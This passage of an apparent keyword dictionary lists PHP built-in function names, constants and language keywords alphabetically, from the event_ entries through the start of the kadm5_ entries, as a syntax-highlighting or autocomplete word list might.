event_buffer_watermark_set event_buffer_write event_del event_free event_new event_priority_set event_set event_timer_add event_timer_del event_timer_new event_timer_set evloop_nonblock evloop_once exec exif_imagetype exif_read_data exif_tagname exif_thumbnail exif_use_mbstring exit exp exp_eof exp_exact exp_fullbuffer exp_glob exp_regexp exp_timeout expect_expectl expect_popen explode expm1 extends extension_loaded extr_if_exists extr_overwrite extr_prefix_all extr_prefix_if_exists extr_prefix_invalid extr_prefix_same extr_refs extr_skip extract ezmlm_hash f_dupfd f_getfd f_getfl f_getlk f_getown f_rdlck f_setfl f_setlk f_setlkw f_setown f_unlck f_wrlck false fann_cascadetrain_on_data fann_cascadetrain_on_file fann_clear_scaling_params fann_copy fann_cos fann_cos_symmetric fann_create_from_file fann_create_shortcut fann_create_shortcut_array fann_create_sparse fann_create_sparse_array fann_create_standard fann_create_standard_array fann_create_train fann_create_train_from_callback fann_descale_input fann_descale_output fann_descale_train fann_destroy fann_destroy_train fann_duplicate_train_data fann_e_cant_allocate_mem fann_e_cant_open_config_r fann_e_cant_open_config_w fann_e_cant_open_td_r fann_e_cant_open_td_w fann_e_cant_read_config fann_e_cant_read_connections fann_e_cant_read_neuron fann_e_cant_read_td fann_e_cant_train_activation fann_e_cant_use_activation fann_e_cant_use_train_alg fann_e_index_out_of_bound fann_e_input_no_match fann_e_no_error fann_e_output_no_match fann_e_scale_not_present fann_e_train_data_mismatch fann_e_train_data_subset fann_e_wrong_config_version fann_e_wrong_num_connections fann_elliot fann_elliot_symmetric fann_errorfunc_linear fann_errorfunc_tanh fann_gaussian fann_gaussian_stepwise fann_gaussian_symmetric fann_get_activation_function fann_get_activation_steepness fann_get_bias_array fann_get_bit_fail fann_get_bit_fail_limit fann_get_cascade_activation_functions fann_get_cascade_activation_functions_count fann_get_cascade_activation_steepnesses fann_get_cascade_activation_steepnesses_count fann_get_cascade_candidate_change_fraction fann_get_cascade_candidate_limit fann_get_cascade_candidate_stagnation_epochs fann_get_cascade_max_cand_epochs fann_get_cascade_max_out_epochs fann_get_cascade_min_cand_epochs fann_get_cascade_min_out_epochs fann_get_cascade_num_candidate_groups fann_get_cascade_num_candidates fann_get_cascade_output_change_fraction fann_get_cascade_output_stagnation_epochs fann_get_cascade_weight_multiplier fann_get_connection_array fann_get_connection_rate fann_get_errno fann_get_errstr fann_get_layer_array fann_get_learning_momentum fann_get_learning_rate fann_get_mse fann_get_network_type fann_get_num_input fann_get_num_layers fann_get_num_output fann_get_quickprop_decay fann_get_quickprop_mu fann_get_rprop_decrease_factor fann_get_rprop_delta_max fann_get_rprop_delta_min fann_get_rprop_delta_zero fann_get_rprop_increase_factor fann_get_sarprop_step_error_shift fann_get_sarprop_step_error_threshold_factor fann_get_sarprop_temperature fann_get_sarprop_weight_decay_shift fann_get_total_connections fann_get_total_neurons fann_get_train_error_function fann_get_train_stop_function fann_get_training_algorithm fann_init_weights fann_length_train_data fann_linear fann_linear_piece fann_linear_piece_symmetric fann_merge_train_data fann_nettype_layer fann_nettype_shortcut fann_num_input_train_data fann_num_output_train_data fann_print_error fann_randomize_weights fann_read_train_from_file fann_reset_errno fann_reset_errstr fann_reset_mse fann_run fann_save fann_save_train fann_scale_input fann_scale_input_train_data fann_scale_output fann_scale_output_train_data fann_scale_train fann_scale_train_data fann_set_activation_function fann_set_activation_function_hidden fann_set_activation_function_layer fann_set_activation_function_output fann_set_activation_steepness fann_set_activation_steepness_hidden fann_set_activation_steepness_layer fann_set_activation_steepness_output fann_set_bit_fail_limit fann_set_callback fann_set_cascade_activation_functions fann_set_cascade_activation_steepnesses fann_set_cascade_candidate_change_fraction fann_set_cascade_candidate_limit fann_set_cascade_candidate_stagnation_epochs fann_set_cascade_max_cand_epochs fann_set_cascade_max_out_epochs fann_set_cascade_min_cand_epochs fann_set_cascade_min_out_epochs fann_set_cascade_num_candidate_groups fann_set_cascade_output_change_fraction fann_set_cascade_output_stagnation_epochs fann_set_cascade_weight_multiplier fann_set_error_log fann_set_input_scaling_params fann_set_learning_momentum fann_set_learning_rate fann_set_output_scaling_params fann_set_quickprop_decay fann_set_quickprop_mu fann_set_rprop_decrease_factor fann_set_rprop_delta_max fann_set_rprop_delta_min fann_set_rprop_delta_zero fann_set_rprop_increase_factor fann_set_sarprop_step_error_shift fann_set_sarprop_step_error_threshold_factor fann_set_sarprop_temperature fann_set_sarprop_weight_decay_shift fann_set_scaling_params fann_set_train_error_function fann_set_train_stop_function fann_set_training_algorithm fann_set_weight fann_set_weight_array fann_shuffle_train_data fann_sigmoid fann_sigmoid_stepwise fann_sigmoid_symmetric fann_sigmoid_symmetric_stepwise fann_sin fann_sin_symmetric fann_stopfunc_bit fann_stopfunc_mse fann_subset_train_data fann_test fann_test_data fann_threshold fann_threshold_symmetric fann_train fann_train_batch fann_train_epoch fann_train_incremental fann_train_on_data fann_train_on_file fann_train_quickprop fann_train_rprop fann_train_sarprop fastcgi_finish_request fbsql_affected_rows fbsql_assoc fbsql_autocommit fbsql_blob_size fbsql_both fbsql_change_user fbsql_clob_size fbsql_close fbsql_commit fbsql_connect fbsql_create_blob fbsql_create_clob fbsql_create_db fbsql_data_seek fbsql_database fbsql_database_password fbsql_db_query fbsql_db_status fbsql_drop_db fbsql_errno fbsql_error fbsql_fetch_array fbsql_fetch_assoc fbsql_fetch_field fbsql_fetch_lengths fbsql_fetch_object fbsql_fetch_row fbsql_field_flags fbsql_field_len fbsql_field_name fbsql_field_seek fbsql_field_table fbsql_field_type fbsql_free_result fbsql_get_autostart_info fbsql_hostname fbsql_insert_id fbsql_iso_read_committed fbsql_iso_read_uncommitted fbsql_iso_repeatable_read fbsql_iso_serializable fbsql_iso_versioned fbsql_list_dbs fbsql_list_fields fbsql_list_tables fbsql_lob_direct fbsql_lob_handle fbsql_lock_deferred fbsql_lock_optimistic fbsql_lock_pessimistic fbsql_next_result fbsql_noexec fbsql_num fbsql_num_fields fbsql_num_rows fbsql_password fbsql_pconnect fbsql_query fbsql_read_blob fbsql_read_clob fbsql_result fbsql_rollback fbsql_rows_fetched fbsql_running fbsql_select_db fbsql_set_characterset fbsql_set_lob_mode fbsql_set_password fbsql_set_transaction fbsql_start_db fbsql_starting fbsql_stop_db fbsql_stopped fbsql_stopping fbsql_table_name fbsql_tablename fbsql_unknown fbsql_username fbsql_warnings fclose fdf_add_doc_javascript fdf_add_template fdf_close fdf_create fdf_enum_values fdf_errno fdf_error fdf_get_ap fdf_get_attachment fdf_get_encoding fdf_get_file fdf_get_flags fdf_get_opt + fdf_get_status fdf_get_value fdf_get_version fdf_header fdf_next_field_name fdf_open fdf_open_string fdf_remove_item fdf_save fdf_save_string fdf_set_ap fdf_set_encoding fdf_set_file fdf_set_flags fdf_set_javascript_action fdf_set_on_import_javascript fdf_set_opt fdf_set_status fdf_set_submit_form_action fdf_set_target_frame fdf_set_value fdf_set_version fdfaa fdfaction fdfap fdfapref fdfas fdfcalculate fdfclearff fdfclrf fdfdown fdfdownap fdfenter fdfexit fdfff fdffile fdfflags fdfformat fdfid fdfif fdfkeystroke fdfnormalap fdfrolloverap fdfsetf fdfsetff fdfstatus fdfup fdfvalidate fdfvalue feof fflush fgetc fgetcsv fgets fgetss file file_append file_binary file_exists file_get_contents file_ignore_new_lines file_no_default_context file_put_contents file_skip_empty_lines file_text file_use_include_path fileatime filectime filegroup fileinfo_continue fileinfo_devices fileinfo_mime fileinfo_mime_encoding fileinfo_mime_type fileinfo_none fileinfo_preserve_atime fileinfo_raw fileinfo_symlink fileinode filemtime fileowner fileperms filepro filepro_fieldcount filepro_fieldname filepro_fieldtype filepro_fieldwidth filepro_retrieve filepro_rowcount filesize filetype filter_callback filter_default filter_flag_allow_fraction filter_flag_allow_hex filter_flag_allow_octal filter_flag_allow_scientific filter_flag_allow_thousand filter_flag_empty_string_null filter_flag_encode_amp filter_flag_encode_high filter_flag_encode_low filter_flag_host_required filter_flag_ipv4 filter_flag_ipv6 filter_flag_no_encode_quotes filter_flag_no_priv_range filter_flag_no_res_range filter_flag_none filter_flag_path_required filter_flag_query_required filter_flag_scheme_required filter_flag_strip_backtick filter_flag_strip_high filter_flag_strip_low filter_force_array filter_has_var filter_id filter_input filter_input_array filter_list filter_null_on_failure filter_require_array filter_require_scalar filter_sanitize_email filter_sanitize_encoded filter_sanitize_full_special_chars filter_sanitize_magic_quotes filter_sanitize_number_float filter_sanitize_number_int filter_sanitize_special_chars filter_sanitize_string filter_sanitize_stripped filter_sanitize_url filter_unsafe_raw filter_validate_boolean filter_validate_email filter_validate_float filter_validate_int filter_validate_ip filter_validate_mac filter_validate_regexp filter_validate_url filter_var filter_var_array final finally finfo_buffer finfo_close finfo_file finfo_open finfo_set_flags firebird/interbase float floatval flock floor flush fmod fnm_casefold fnm_noescape fnm_pathname fnm_period fnmatch fopen for force_deflate force_gzip foreach forward_static_call forward_static_call_array fpassthru fpe_fltdiv fpe_fltinv fpe_fltovf fpe_fltres fpe_fltsub fpe_fltund fpe_intdiv fpe_intovf fprintf fputcsv fputs frac_digits fread frenchtojd fscanf fseek fsockopen fstat ft_internal ft_not ft_peek ft_prefetchtext ft_uid ftell ftok ftp_alloc ftp_ascii ftp_autoresume ftp_autoseek ftp_binary ftp_cdup ftp_chdir ftp_chmod ftp_close ftp_connect ftp_delete ftp_exec ftp_failed ftp_fget ftp_finished ftp_fput ftp_get ftp_get_option ftp_image ftp_login ftp_mdtm ftp_mkdir ftp_moredata ftp_nb_continue ftp_nb_fget ftp_nb_fput ftp_nb_get ftp_nb_put ftp_nlist ftp_pasv ftp_put ftp_pwd ftp_quit ftp_raw ftp_rawlist ftp_rename ftp_rmdir ftp_set_option ftp_site ftp_size ftp_ssl_connect ftp_systype ftp_text ftp_timeout_sec ftruncate func_get_arg func_get_args func_num_args function function_exists function_trace fwrite gc_collect_cycles gc_disable gc_enable gc_enabled gd_bundled gd_extra_version gd_info gd_major_version gc_mem_caches gd_minor_version gd_release_version gd_version geoip_asnum_by_name geoip_asnum_edition geoip_cabledsl_speed geoip_city_edition_rev0 geoip_city_edition_rev1 geoip_continent_code_by_name geoip_corporate_speed geoip_country_code3_by_name geoip_country_code_by_name geoip_country_edition geoip_country_name_by_name geoip_database_info geoip_db_avail geoip_db_filename geoip_db_get_all_info geoip_dialup_speed geoip_domain_by_name geoip_domain_edition geoip_id_by_name geoip_isp_by_name geoip_isp_edition geoip_netspeed_edition geoip_netspeedcell_by_name geoip_org_by_name geoip_org_edition geoip_proxy_edition geoip_record_by_name geoip_region_by_name geoip_region_edition_rev0 geoip_region_edition_rev1 geoip_region_name_by_code geoip_setup_custom_directory geoip_time_zone_by_country_and_region geoip_unknown_speed get_browser get_called_class get_cfg_var get_class get_class_methods get_class_vars get_current_user get_declared_classes get_declared_interfaces get_declared_traits get_defined_constants get_defined_functions get_defined_vars get_extension_funcs get_headers get_html_translation_table get_include_path get_included_files get_loaded_extensions get_magic_quotes_gpc get_magic_quotes_runtime get_meta_tags get_object_vars get_parent_class get_required_files get_resource_type get_resources getallheaders getcwd getdate getdir getenv gethostbyaddr gethostbyname gethostbynamel gethostname getimagesize getimagesizefromstring getlastmod getmxrr getmygid getmyinode getmypid getmyuid getopt getprotobyname getprotobynumber getrandmax getrusage getservbyname getservbyport gettext gettimeofday gettype glob glob_available_flags glob_brace glob_err glob_mark glob_nocheck glob_noescape glob_nosort glob_onlydir global globals gmdate gmmktime gmp_abs gmp_add gmp_and gmp_big_endian gmp_clrbit gmp_cmp gmp_com gmp_div gmp_div_q gmp_div_qr gmp_div_r gmp_divexact gmp_export gmp_fact gmp_gcd gmp_gcdext gmp_hamdist gmp_import gmp_init gmp_intval gmp_invert gmp_jacobi gmp_legendre gmp_little_endian gmp_lsw_first gmp_mod gmp_mpir_version gmp_msw_first gmp_mul gmp_native_endian gmp_neg gmp_nextprime gmp_or gmp_perfect_square gmp_popcount gmp_pow gmp_powm gmp_prob_prime gmp_random gmp_random_bits gmp_random_range gmp_random_seed gmp_root gmp_rootrem gmp_round_minusinf gmp_round_plusinf gmp_round_zero gmp_scan0 gmp_scan1 gmp_setbit gmp_sign gmp_sqrt gmp_sqrtrem gmp_strval gmp_sub gmp_testbit gmp_version gmp_xor gmstrftime gnupg_adddecryptkey gnupg_addencryptkey gnupg_addsignkey gnupg_cleardecryptkeys gnupg_clearencryptkeys gnupg_clearsignkeys gnupg_decrypt gnupg_decryptverify gnupg_encrypt gnupg_encryptsign gnupg_error_exception gnupg_error_silent gnupg_error_warning gnupg_export gnupg_geterror gnupg_getprotocol gnupg_import gnupg_init gnupg_keyinfo gnupg_protocol_cms gnupg_protocol_openpgp gnupg_setarmor gnupg_seterrormode gnupg_setsignmode gnupg_sig_mode_clear gnupg_sig_mode_detach gnupg_sig_mode_normal gnupg_sign gnupg_sigsum_bad_policy gnupg_sigsum_crl_missing gnupg_sigsum_crl_too_old gnupg_sigsum_green gnupg_sigsum_key_expired gnupg_sigsum_key_missing gnupg_sigsum_key_revoked gnupg_sigsum_red gnupg_sigsum_sig_expired gnupg_sigsum_sys_error gnupg_sigsum_valid gnupg_validity_full gnupg_validity_marginal gnupg_validity_never gnupg_validity_ultimate gnupg_validity_undefined gnupg_validity_unknown gnupg_verify gopher_binary gopher_binhex gopher_directory gopher_document gopher_dosbinary gopher_http gopher_info gopher_parsedir gopher_unknown gopher_uuencoded goto grapheme_extr_count grapheme_extr_maxbytes grapheme_extr_maxchars grapheme_extract grapheme_stripos grapheme_stristr grapheme_strlen grapheme_strpos grapheme_strripos grapheme_strrpos grapheme_strstr grapheme_substr gregoriantojd grouping gupnp_context_get_host_ip gupnp_context_get_port gupnp_context_get_subscription_timeout gupnp_context_host_path gupnp_context_new gupnp_context_set_subscription_timeout gupnp_context_timeout_add gupnp_context_unhost_path gupnp_control_error_action_failed gupnp_control_error_invalid_action gupnp_control_error_invalid_args gupnp_control_error_out_of_sync gupnp_control_point_browse_start gupnp_control_point_browse_stop gupnp_control_point_callback_set gupnp_control_point_new gupnp_device_action_callback_set gupnp_device_info_get gupnp_device_info_get_service gupnp_root_device_get_available gupnp_root_device_get_relative_location gupnp_root_device_new gupnp_root_device_set_available gupnp_root_device_start gupnp_root_device_stop gupnp_service_action_get gupnp_service_action_return gupnp_service_action_return_error gupnp_service_action_set gupnp_service_freeze_notify gupnp_service_info_get gupnp_service_info_get_introspection gupnp_service_introspection_get_state_variable gupnp_service_notify gupnp_service_proxy_action_get gupnp_service_proxy_action_set gupnp_service_proxy_add_notify gupnp_service_proxy_callback_set gupnp_service_proxy_get_subscribed gupnp_service_proxy_remove_notify gupnp_service_proxy_send_action gupnp_service_proxy_set_subscribed gupnp_service_thaw_notify gupnp_signal_action_invoked gupnp_signal_device_proxy_available gupnp_signal_device_proxy_unavailable gupnp_signal_notify_failed gupnp_signal_service_proxy_available gupnp_signal_service_proxy_unavailable gupnp_signal_subscription_lost gupnp_type_boolean gupnp_type_double gupnp_type_float gupnp_type_int gupnp_type_long gupnp_type_string gzclose gzcompress gzdecode gzdeflate gzencode gzeof gzfile gzgetc gzgets gzgetss gzinflate gzopen gzpassthru gzputs gzread gzrewind gzseek gztell gzuncompress gzwrite hash hash_algos hash_copy hash_equals hash_file hash_final hash_hmac hash_hmac_file hash_init hash_pbkdf2 hash_update hash_update_file hash_update_stream header header_register_callback header_remove headers_list headers_sent hebrev hebrevc hex2bin hexdec highlight_file highlight_string html_entities html_entity_decode html_specialchars htmlentities htmlspecialchars htmlspecialchars_decode http_auth_any http_auth_basic http_auth_digest http_auth_gssneg http_auth_ntlm http_build_cookie http_build_query http_build_str http_build_url http_cache_etag http_cache_last_modified http_chunked_decode http_cookie_httponly http_cookie_parse_raw http_cookie_secure http_date http_deflate http_deflate_level_def + http_deflate_level_max http_deflate_level_min http_deflate_strategy_def http_deflate_strategy_filt http_deflate_strategy_fixed http_deflate_strategy_huff http_deflate_strategy_rle http_deflate_type_gzip http_deflate_type_raw http_deflate_type_zlib http_e_encoding http_e_header http_e_invalid_param http_e_malformed_headers http_e_message_type http_e_querystring http_e_request http_e_request_method http_e_request_pool http_e_response http_e_runtime http_e_socket http_e_url http_encoding_stream_flush_full http_encoding_stream_flush_none http_encoding_stream_flush_sync http_get http_get_request_body http_get_request_body_stream http_get_request_headers http_head http_inflate http_ipresolve_any http_ipresolve_v4 http_ipresolve_v6 http_match_etag http_match_modified http_match_request_header http_meth_acl http_meth_baseline_control http_meth_checkin http_meth_checkout http_meth_connect http_meth_copy http_meth_delete http_meth_get http_meth_head http_meth_label http_meth_lock http_meth_merge http_meth_mkactivity http_meth_mkcol http_meth_mkworkspace http_meth_move http_meth_options http_meth_post http_meth_propfind http_meth_proppatch http_meth_put http_meth_report http_meth_trace http_meth_uncheckout http_meth_unlock http_meth_update http_meth_version_control http_msg_none http_msg_request http_msg_response http_negotiate_charset http_negotiate_content_type http_negotiate_language http_params_allow_comma http_params_allow_failure http_params_default http_params_raise_error http_parse_cookie http_parse_headers http_parse_message http_parse_params http_persistent_handles_clean http_persistent_handles_count http_persistent_handles_ident http_post_data http_post_fields http_proxy_http http_proxy_socks4 http_proxy_socks5 http_put_data http_put_file http_put_stream http_querystring_type_array http_querystring_type_bool http_querystring_type_float http_querystring_type_int http_querystring_type_object http_querystring_type_string http_redirect http_redirect_found http_redirect_perm http_redirect_post http_redirect_proxy http_redirect_temp http_request http_request_body_encode http_request_method_exists http_request_method_name http_request_method_register http_request_method_unregister http_response_code http_send_content_disposition http_send_content_type http_send_data http_send_file http_send_last_modified http_send_status http_send_stream http_ssl_version_any http_ssl_version_sslv2 http_ssl_version_sslv3 http_ssl_version_tlsv1 http_support http_support_encodings http_support_magicmime http_support_requests http_support_sslrequests http_throttle http_url_join_path http_url_join_query http_url_replace http_url_strip_all http_url_strip_auth http_url_strip_fragment http_url_strip_pass http_url_strip_path http_url_strip_port http_url_strip_query http_url_strip_user http_version_1_0 http_version_1_1 http_version_any hypot ibase_add_user ibase_affected_rows ibase_backup ibase_bkp_convert ibase_bkp_ignore_checksums ibase_bkp_ignore_limbo ibase_bkp_metadata_only ibase_bkp_no_garbage_collect ibase_bkp_non_transportable ibase_bkp_old_descriptions ibase_blob_add ibase_blob_cancel ibase_blob_close ibase_blob_create ibase_blob_echo ibase_blob_get ibase_blob_import ibase_blob_info ibase_blob_open ibase_close ibase_commit ibase_commit_ret ibase_committed ibase_concurrency ibase_connect ibase_consistency ibase_db_info ibase_default ibase_delete_user ibase_drop_db ibase_errcode ibase_errmsg ibase_execute ibase_fetch_arrays ibase_fetch_assoc ibase_fetch_blobs ibase_fetch_object ibase_fetch_row ibase_field_info ibase_free_event_handler ibase_free_query ibase_free_result ibase_gen_id ibase_maintain_db ibase_modify_user ibase_name_result ibase_nowait ibase_num_fields ibase_num_params ibase_param_info ibase_pconnect ibase_prepare ibase_prp_access_mode ibase_prp_activate ibase_prp_am_readonly ibase_prp_am_readwrite ibase_prp_db_online ibase_prp_deny_new_attachments ibase_prp_deny_new_transactions ibase_prp_page_buffers ibase_prp_res ibase_prp_res_use_full ibase_prp_reserve_space ibase_prp_set_sql_dialect ibase_prp_shutdown_db ibase_prp_sweep_interval ibase_prp_wm_async ibase_prp_wm_sync ibase_prp_write_mode ibase_query ibase_read ibase_res_create ibase_res_deactivate_idx ibase_res_no_shadow ibase_res_no_validity ibase_res_one_at_a_time ibase_res_replace ibase_res_use_all_space ibase_restore ibase_rollback ibase_rollback_ret ibase_rpr_check_db ibase_rpr_full ibase_rpr_ignore_checksum ibase_rpr_kill_shadows ibase_rpr_mend_db ibase_rpr_sweep_db ibase_rpr_validate_db ibase_server_info ibase_service_attach ibase_service_detach ibase_set_event_handler ibase_sts_data_pages ibase_sts_db_log ibase_sts_hdr_pages ibase_sts_idx_pages ibase_sts_sys_relations ibase_svc_get_env ibase_svc_get_env_lock ibase_svc_get_env_msg ibase_svc_get_users ibase_svc_implementation ibase_svc_server_version ibase_svc_svr_db_info ibase_svc_user_dbpath ibase_trans ibase_unixtime ibase_wait ibase_wait_event ibase_write iconv iconv_get_encoding iconv_impl iconv_mime_decode iconv_mime_decode_continue_on_error iconv_mime_decode_headers iconv_mime_decode_strict iconv_mime_encode iconv_set_encoding iconv_strlen iconv_strpos iconv_strrpos iconv_substr iconv_version id3_best id3_get_frame_long_name id3_get_frame_short_name id3_get_genre_id id3_get_genre_list id3_get_genre_name id3_get_tag id3_get_version id3_remove_tag id3_set_tag id3_v1_0 id3_v1_1 id3_v2_1 id3_v2_2 id3_v2_3 id3_v2_4 idate idn_to_ascii idn_to_unicode idn_to_utf8 idna_allow_unassigned idna_check_bidi idna_check_contextj idna_default idna_error_bidi idna_error_contextj idna_error_disallowed idna_error_domain_name_too_long idna_error_empty_label idna_error_hyphen_3_4 idna_error_invalid_ace_label idna_error_label_has_dot idna_error_label_too_long idna_error_leading_combining_mark idna_error_leading_hyphen idna_error_punycode idna_error_trailing_hyphen idna_nontransitional_to_ascii idna_nontransitional_to_unicode idna_use_std3_rules if ifx_affected_rows ifx_blobinfile_mode ifx_byteasvarchar ifx_close ifx_connect ifx_copy_blob ifx_create_blob ifx_create_char ifx_do ifx_error ifx_errormsg ifx_fetch_row ifx_fieldproperties ifx_fieldtypes ifx_free_blob ifx_free_char ifx_free_result ifx_get_blob ifx_get_char ifx_getsqlca ifx_hold ifx_htmltbl_result ifx_lo_append ifx_lo_buffer ifx_lo_nobuffer ifx_lo_rdonly ifx_lo_rdwr ifx_lo_wronly ifx_nullformat ifx_num_fields ifx_num_rows ifx_pconnect ifx_prepare ifx_query ifx_scroll ifx_textasvarchar ifx_update_blob ifx_update_char ifxus_close_slob ifxus_create_slob ifxus_free_slob ifxus_open_slob ifxus_read_slob ifxus_seek_slob ifxus_tell_slob ifxus_write_slob ignore_user_abort iis_add_server iis_anonymous iis_basic iis_execute iis_get_dir_security iis_get_script_map iis_get_server_by_comment iis_get_server_by_path iis_get_server_rights iis_get_service_state iis_ntlm iis_paused iis_read iis_remove_server iis_running iis_script iis_set_app_settings iis_set_dir_security iis_set_script_map iis_set_server_rights iis_start_server iis_start_service iis_starting iis_stop_server iis_stop_service iis_stopped iis_write ill_badstk ill_coproc ill_illadr ill_illopc ill_illopn ill_illtrp ill_prvopc ill_prvreg image2wbmp image_type_to_extension image_type_to_mime_type imageaffine imageaffinematrixconcat imageaffinematrixget imagealphablending imageantialias imagearc imagechar imagecharup imagecolorallocate imagecolorallocatealpha imagecolorat imagecolorclosest imagecolorclosestalpha imagecolorclosesthwb imagecolordeallocate imagecolorexact imagecolorexactalpha imagecolormatch imagecolorresolve imagecolorresolvealpha imagecolorset imagecolorsforindex imagecolorstotal imagecolortransparent imageconvolution imagecopy imagecopymerge imagecopymergegray imagecopyresampled imagecopyresized imagecreate imagecreatefromgd imagecreatefromgd2 imagecreatefromgd2part imagecreatefromgif imagecreatefromjpeg imagecreatefrompng imagecreatefromstring imagecreatefromwbmp imagecreatefromwebp imagecreatefromxbm imagecreatefromxpm imagecreatetruecolor imagecrop imagecropauto imagedashedline imagedestroy imageellipse imagefill imagefilledarc imagefilledellipse imagefilledpolygon imagefilledrectangle imagefilltoborder imagefilter imageflip imagefontheight imagefontwidth imageftbbox imagefttext imagegammacorrect imagegd imagegd2 imagegif imagegrabscreen imagegrabwindow imageinterlace imageistruecolor imagejpeg imagelayereffect imageline imageloadfont imagepalettecopy imagepalettetotruecolor imagepng imagepolygon imagepsbbox imagepsencodefont imagepsextendfont imagepsfreefont imagepsloadfont imagepsslantfont imagepstext imagerectangle imagerotate imagesavealpha imagescale imagesetbrush imagesetinterpolation imagesetpixel imagesetstyle imagesetthickness imagesettile imagestring imagestringup imagesx imagesy imagetruecolortopalette imagettfbbox imagettftext imagetype_bmp imagetype_count imagetype_gif imagetype_ico imagetype_iff imagetype_jb2 imagetype_jp2 imagetype_jpc imagetype_jpeg imagetype_jpeg2000 imagetype_jpx imagetype_png imagetype_psd imagetype_swc imagetype_swf imagetype_tiff_ii imagetype_tiff_mm imagetype_unknown imagetype_wbmp imagetype_xbm imagetypes imagewbmp imagewebp imagexbm imap_8bit imap_alerts imap_append imap_base64 imap_binary imap_body imap_bodystruct imap_check imap_clearflag_full imap_close imap_closetimeout imap_create imap_createmailbox imap_delete imap_deletemailbox imap_errors imap_expunge imap_fetch_overview imap_fetchbody imap_fetchheader imap_fetchmime imap_fetchstructure imap_fetchtext imap_gc imap_gc_elt imap_gc_env imap_gc_texts imap_get_quota imap_get_quotaroot imap_getacl imap_getmailboxes imap_getsubscribed imap_header imap_headerinfo imap_headers imap_last_error imap_list imap_listmailbox imap_listscan imap_listsubscribed imap_lsub imap_mail imap_mail_compose imap_mail_copy imap_mail_move + imap_mailboxmsginfo imap_mime_header_decode imap_msgno imap_mutf7_to_utf8 imap_num_msg imap_num_recent imap_open imap_opentimeout imap_ping imap_qprint imap_readtimeout imap_rename imap_renamemailbox imap_reopen imap_rfc822_parse_adrlist imap_rfc822_parse_headers imap_rfc822_write_address imap_savebody imap_scan imap_scanmailbox imap_search imap_set_quota imap_setacl imap_setflag_full imap_sort imap_status imap_subscribe imap_thread imap_timeout imap_uid imap_undelete imap_unsubscribe imap_utf7_decode imap_utf7_encode imap_utf8 imap_utf8_to_mutf7 imap_writetimeout img_affine_rotate img_affine_scale img_affine_shear_horizontal img_affine_shear_vertical img_affine_translate img_arc_chord img_arc_edged img_arc_nofill img_arc_pie img_arc_rounded img_bell img_bessel img_bicubic img_bicubic_fixed img_bilinear_fixed img_blackman img_box img_bspline img_catmullrom img_color_brushed img_color_styled img_color_styledbrushed img_color_tiled img_color_transparent img_crop_black img_crop_default img_crop_sides img_crop_threshold img_crop_transparent img_crop_white img_effect_alphablend img_effect_normal img_effect_overlay img_effect_replace img_filter_brightness img_filter_colorize img_filter_contrast img_filter_edgedetect img_filter_emboss img_filter_gaussian_blur img_filter_grayscale img_filter_mean_removal img_filter_negate img_filter_pixelate img_filter_selective_blur img_filter_smooth img_flip_both img_flip_horizontal img_flip_vertical img_gaussian img_gd2_compressed img_gd2_raw img_generalized_cubic img_gif img_hamming img_hanning img_hermite img_jpeg img_jpg img_mitchell img_nearest_neighbour img_png img_power img_quadratic img_sinc img_triangle img_wbmp img_weighted4 img_xpm implements implode import_request_variables in_access in_all_events in_array in_attrib in_close in_close_nowrite in_close_write in_create in_delete in_delete_self in_dont_follow in_ignored in_isdir in_mask_add in_modify in_move in_move_self in_moved_from in_moved_to in_oneshot in_onlydir in_open in_q_overflow in_unmount include include_once inet_ntop inet_pton inf info_all info_configuration info_credits info_environment info_general info_license info_modules info_variables ingres_api_version ingres_assoc ingres_autocommit ingres_autocommit_state ingres_both ingres_charset ingres_close ingres_commit ingres_connect ingres_cursor ingres_cursor_readonly ingres_cursor_update ingres_date_dmy ingres_date_finnish ingres_date_german ingres_date_iso ingres_date_iso4 ingres_date_mdy ingres_date_multinational ingres_date_multinational4 ingres_date_ymd ingres_errno ingres_error ingres_errsqlstate ingres_escape_string ingres_execute ingres_ext_version ingres_fetch_array ingres_fetch_assoc ingres_fetch_object ingres_fetch_proc_return ingres_fetch_row ingres_field_length ingres_field_name ingres_field_nullable ingres_field_precision ingres_field_scale ingres_field_type ingres_free_result ingres_money_leading ingres_money_trailing ingres_next_error ingres_num ingres_num_fields ingres_num_rows ingres_pconnect ingres_prepare ingres_query ingres_result_seek ingres_rollback ingres_set_environment ingres_structure_btree ingres_structure_cbtree ingres_structure_chash ingres_structure_cheap ingres_structure_cisam ingres_structure_hash ingres_structure_heap ingres_structure_isam ingres_unbuffered_query ini_all ini_alter ini_get ini_get_all ini_perdir ini_restore ini_scanner_normal ini_scanner_raw ini_scanner_typed ini_set ini_system ini_user inotify_add_watch inotify_init inotify_queue_len inotify_read inotify_rm_watch input_cookie input_env input_get input_post input_request input_server input_session instanceof insteadof int int_curr_symbol int_frac_digits intdiv integer interface interface_exists intl_error_name intl_get_error_code intl_get_error_message intl_icu_data_version intl_icu_version intl_idna_variant_2003 intl_idna_variant_uts46 intl_is_failure intl_max_locale_len intval ion_clock_skew ion_corrupt_file ion_expired_file ion_license_corrupt ion_license_expired ion_license_header_invalid ion_license_not_found ion_license_property_invalid ion_license_server_invalid ion_no_permissions ion_unauth_append_prepend_file ion_unauth_included_file ion_unauth_including_file ion_untrusted_extension ioncube_check_license_properties ioncube_file_info ioncube_file_is_encoded ioncube_file_not_permissioned ioncube_file_properties ioncube_license_has_expired ioncube_license_matches_server ioncube_license_properties ioncube_licensed_servers ioncube_loader_iversion ioncube_loader_version ioncube_read_file ioncube_server_data ioncube_write_file ip2long ip_multicast_if ip_multicast_loop ip_multicast_ttl ipproto_ip ipproto_ipv6 iptcembed iptcparse ipv6_hoplimit ipv6_multicast_hops ipv6_multicast_if ipv6_multicast_loop ipv6_pktinfo ipv6_recvhoplimit ipv6_recvpktinfo ipv6_recvtclass ipv6_tclass ipv6_unicast_hops is_a is_array is_bool is_callable is_dir is_double is_executable is_file is_finite is_float is_infinite is_int is_integer is_link is_long is_nan is_null is_numeric is_object is_readable is_real is_resource is_scalar is_soap_fault is_string is_subclass_of is_tainted is_uploaded_file is_writable is_writeable isset iterator_apply iterator_count iterator_to_array jddayofweek jdmonthname jdtofrench jdtogregorian jdtojewish jdtojulian jdtounix jewishtojd join jpeg2wbmp json_bigint_as_string json_decode json_encode json_error_ctrl_char json_error_depth json_error_inf_or_nan json_error_none json_error_recursion json_error_state_mismatch json_error_syntax json_error_unsupported_type json_error_utf8 json_force_object json_hex_amp json_hex_apos json_hex_quot json_hex_tag json_last_error json_last_error_msg json_numeric_check json_object_as_array json_partial_output_on_error json_preserve_zero_fraction json_pretty_print json_unescaped_slashes json_unescaped_unicode judy_type judy_version juliantojd kadm5_attributes kadm5_chpass_principal kadm5_clearpolicy 